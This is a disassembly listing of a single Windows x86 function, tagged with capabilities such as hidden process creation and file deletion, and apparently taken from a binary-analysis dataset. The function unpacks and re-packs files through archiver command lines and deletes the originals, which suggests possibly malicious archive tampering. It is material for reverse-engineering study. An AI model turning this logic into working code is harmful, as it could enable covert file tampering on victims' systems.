Function at 0x40481f
Capabilities:
Create process on windows
Create process suspended
Delete directory
Delete file
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x69c
and dword [ebp - 0x40c], 0
and dword [ebp - 4], 0
or dword [ebp - 0x634], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x69c], eax
cmp dword [0x40b630], 0
jne 0x404853
jmp 0x404b84
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [ebp - 0x69c]
mov dword [ebp - 0x634], eax
push 0
push dword [ebp - 0x634]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
je 0x4048b2
cmp dword [ebp - 0x40c], 0xffffffff
je 0x4048b2
cmp dword [ebp - 0x40c], 0xa00000
ja 0x4048b2
cmp dword [ebp - 0x40c], 0x2800
jae 0x4048c3
push dword [ebp - 0x634]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404b84
push 0
lea eax, [ebp - 0x64c]
push eax
push dword [ebp - 0x634]
call fcn.00404fb7
push dword [ebp - 0x634]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
push 0
lea eax, [ebp - 0x620]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x5c
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
inc eax
push eax
push 0x40c508
push str._s_s
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 4
push 0
push 0x2e
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x620]
push eax
push dword [ebp + 8]
push 0x40c718
push str._s_X__ibck___s____s_
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x44
push 0
lea eax, [ebp - 0x698]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x698], 0x44
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x630]
push eax
lea eax, [ebp - 0x698]
push eax
push 0
push 0
push 0xc000000
push 1
push 0
push 0
lea eax, [ebp - 0x408]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4049d7
jmp 0x404b84
push dword [ebp - 0x62c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push dword [ebp - 0x630]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x630]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x630]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x404a30
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x404b84
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x104
push 0
lea eax, [ebp - 0x518]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x620]
push eax
push 0x408968
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x518]
push eax
call fcn.00404d15
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x620]
push eax
push dword [ebp + 8]
push 0x40c718
push str._s_M__ibck__r__o__ep1___s____s_
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x44
push 0
lea eax, [ebp - 0x698]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x698], 0x44
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x630]
push eax
lea eax, [ebp - 0x698]
push eax
push 0
push 0
push 0xc000000
push 1
push 0
push 0
lea eax, [ebp - 0x408]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x62c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push dword [ebp - 0x630]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x630]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x634], eax
push 1
lea eax, [ebp - 0x64c]
push eax
push dword [ebp - 0x634]
call fcn.00404fb7
push dword [ebp - 0x634]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
leave
ret 4